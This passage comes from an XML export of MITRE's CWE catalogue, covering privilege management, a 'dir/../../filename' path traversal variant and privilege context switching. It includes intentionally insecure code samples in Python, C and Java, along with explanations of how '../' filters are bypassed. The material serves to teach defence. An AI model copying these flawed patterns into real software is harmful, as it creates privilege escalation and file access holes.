            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-1">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Description>Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-48">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>Follow the principle of least privilege when assigning access rights to entities in a software system.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-49">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-126">
               <Intro_Text>This code temporarily raises the program's privileges to allow creation of a new user folder.</Intro_Text>
               <Example_Code Nature="Bad" Language="Python">
                  <xhtml:div>def makeNewUserDir(username):<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if invalidUsername(username):<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>#avoid CWE-22 and CWE-78</xhtml:i>
                                 <xhtml:br/>print('Usernames cannot contain invalid characters')<xhtml:br/>return False</xhtml:div>
                           </xhtml:div>
                           <xhtml:br/>try:<xhtml:div style="margin-left:1em;">raisePrivileges()<xhtml:br/>os.mkdir('/home/' + username)<xhtml:br/>lowerPrivileges()</xhtml:div>
                           <xhtml:br/>except OSError:<xhtml:div style="margin-left:1em;">print('Unable to create new user directory for user:' + username)<xhtml:br/>return False</xhtml:div>
                           <xhtml:br/>return True</xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to os.mkdir() throws an exception, the call to lowerPrivileges() will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-97">
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>seteuid(0);<xhtml:br/>
                     <xhtml:i>/* do some stuff */</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>seteuid(getuid());</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-142">
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>AccessController.doPrivileged(new PrivilegedAction() {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>public Object run() {<xhtml:div style="margin-left:1em;">
                                 <xhtml:i>// privileged code goes here, for example:</xhtml:i>
                                 <xhtml:br/>System.loadLibrary("awt");<xhtml:br/>return null;<xhtml:br/>
                                 <xhtml:i>// nothing to return</xhtml:i>
                                 <xhtml:br/>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-127">
               <Intro_Text>This code intends to allow only Administrators to print debug information about a system.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public enum Roles {<xhtml:div style="margin-left:1em;">ADMIN,USER,GUEST</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>public void printDebugInfo(User requestingUser){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if(isAuthenticated(requestingUser)){<xhtml:div style="margin-left:1em;">
                              <xhtml:div>switch(requestingUser.role){<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>case GUEST:<xhtml:div style="margin-left:1em;">System.out.println("You are not authorized to perform this command");<xhtml:br/>break;</xhtml:div>
                                       <xhtml:br/>default:<xhtml:div style="margin-left:1em;">System.out.println(currentDebugState());<xhtml:br/>break;</xhtml:div>
                                    </xhtml:div>
                                 </xhtml:div>}</xhtml:div>
                           </xhtml:div>}<xhtml:br/>else{<xhtml:div style="margin-left:1em;">System.out.println("You must be logged in to perform this command");</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>While the intention was to only allow Administrators to print the debug information, the code as written only excludes those with the role of "GUEST". Someone with the role of "ADMIN" or "USER" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-128">
               <Intro_Text>This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public enum Roles {<xhtml:div style="margin-left:1em;">ADMIN,OPERATOR,USER,GUEST</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>public void resetPassword(User requestingUser, User user, String password ){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if(isAuthenticated(requestingUser)){<xhtml:div style="margin-left:1em;">
                              <xhtml:div>switch(requestingUser.role){<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>case GUEST:<xhtml:div style="margin-left:1em;">System.out.println("You are not authorized to perform this command");<xhtml:br/>break;</xhtml:div>
                                       <xhtml:br/>case USER:<xhtml:div style="margin-left:1em;">System.out.println("You are not authorized to perform this command");<xhtml:br/>break;</xhtml:div>
                                       <xhtml:br/>default:<xhtml:div style="margin-left:1em;">setPassword(user,password);<xhtml:br/>break;</xhtml:div>}</xhtml:div>
                                 </xhtml:div>}</xhtml:div>
                           </xhtml:div>
                           <xhtml:br/>else{<xhtml:div style="margin-left:1em;">System.out.println("You must be logged in to perform this command");</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-1555</Reference>
               <Description>Terminal privileges are not reset when a user logs out.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1555</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1514</Reference>
               <Description>Does not properly pass security context to child processes in certain cases, allows privilege escalation.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1514</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0128</Reference>
               <Description>Does not properly compute roles.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0128</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1193</Reference>
               <Description>untrusted user placed in unix "wheel" group</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1193</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2741</Reference>
               <Description>Product allows users to grant themselves certain rights that can be used to escalate privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2741</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2496</Reference>
               <Description>Product uses group ID of a user instead of the group, causing it to run with different privileges. This is resultant from some other unknown issue.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2496</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0274</Reference>
               <Description>Product mistakenly assigns a particular status to an entity, leading to increased privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0274</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4217</Reference>
               <Description>FTP client program on a certain OS runs with setuid privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4217</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5159</Reference>
               <Description>OS incorrectly installs a program with setuid privileges, allowing users to gain privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5159</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4638</Reference>
               <Description>Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4638</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-3931</Reference>
               <Description>Installation script installs some programs as setuid when they shouldn't be.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-3931</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1981</Reference>
               <Description>Roles have access to dangerous procedures (Accessible entities).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1981</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1671</Reference>
               <Description>Untrusted object/method gets access to clipboard (Accessible entities).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1671</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0315</Reference>
               <Description>Traceroute program allows unprivileged users to modify source address of packet (Accessible entities).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0315</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0506</Reference>
               <Description>User with capability can prevent setuid program from dropping privileges (Unsafe privileged actions).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0506</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Privilege Management Error</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="122"/>
            <Related_Attack_Pattern CAPEC_ID="233"/>
            <Related_Attack_Pattern CAPEC_ID="58"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 16: Executing Code With Too Much Privilege.&#34; Page 243"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 9, &#34;Dropping Privileges Permanently&#34;, Page 479"/>
            <Reference External_Reference_ID="REF-1287" Section="Details of Problematic Mappings"/>
         </References>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Discouraged (this CWE ID should not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: CWE-269 is commonly misused. It can be conflated with "privilege escalation," which is a technical impact that is listed in many low-information vulnerability reports [REF-1287]. It is not useful for trend analysis.</xhtml:p>
               <xhtml:p>Comments: if an error or mistake allows privilege escalation, then use the CWE ID for that mistake. Avoid using CWE-269 when only phrases such as "privilege escalation" or "gain privileges" are available, as these indicate technical impact of the vulnerability - not the root cause weakness. If the root cause seems to be directly related to privileges, then examine the children of CWE-269 for additional hints, such as Execution with Unnecessary Privileges (CWE-250) or Incorrect Privilege Assignment (CWE-266).</xhtml:p>
            </Note>
            <Note Type="Maintenance">The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>CWE Team</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>Moved this entry higher up in the Research view.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes, Name, Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Maintenance_Notes, Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-09-09">Privilege Management Error</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Insecure Privilege Management</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="27" Name="Path Traversal: 'dir/../../filename'" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize multiple internal "../" sequences that can resolve to a location that is outside of that directory.</Description>
         <Extended_Description>
            <xhtml:p>This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.</xhtml:p>
            <xhtml:p>The 'directory/../../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "../" sequence, so multiple "../" can bypass that check. Alternately, this manipulation could be used to bypass a check for "../" at the beginning of the pathname, moving up more than one directory level.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="23" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5.1">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.</xhtml:p>
                  <xhtml:p>When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."</xhtml:p>
                  <xhtml:p>Do not rely exclusively on looking for malicious or malformed inputs.  This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.</xhtml:p>
                  <xhtml:p>When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.</xhtml:p>
                  <xhtml:p>Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-20">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0298</Reference>
               <Description>Server allows remote attackers to cause a denial of service via certain HTTP GET requests containing a %2e%2e (encoded dot-dot), several "/../" sequences, or several "../" in a URI.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0298</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>'directory/../../filename</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Directory Doubled Dot Dot Slash - 'directory/../../filename'</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="270" Name="Privilege Context Switching Error" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not properly manage privileges while it is switching between different contexts that have different privileges or spheres of control.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="269" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>A user can assume the identity of another user with separate privileges in another context. This will give the user unauthorized access that may allow them to acquire the access information of other users.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-1">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Description>Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-17">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-49">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1688</Reference>
               <Description>Web browser cross domain problem when user hits "back" button.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1688</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1026</Reference>
               <Description>Web browser cross domain problem when user hits "back" button.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1026</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1770</Reference>
               <Description>Cross-domain issue - third party product passes code to web browser, which executes it in unsafe zone.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1770</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2263</Reference>
               <Description>Run callback in different security context after it has been changed from untrusted to trusted. * note that "context switch before actions are completed" is one type of problem that happens frequently, espec. in browsers.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2263</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Privilege Context Switching Error</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="17"/>
            <Related_Attack_Pattern CAPEC_ID="30"/>
            <Related_Attack_Pattern CAPEC_ID="35"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-7" Section="Chapter 7, &#34;Running with Least Privilege&#34; Page 207"/>
            <Reference External_Reference_ID="REF-76"/>
         </References>
         <Notes>
            <Note Type="Research Gap">This concept needs more study.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
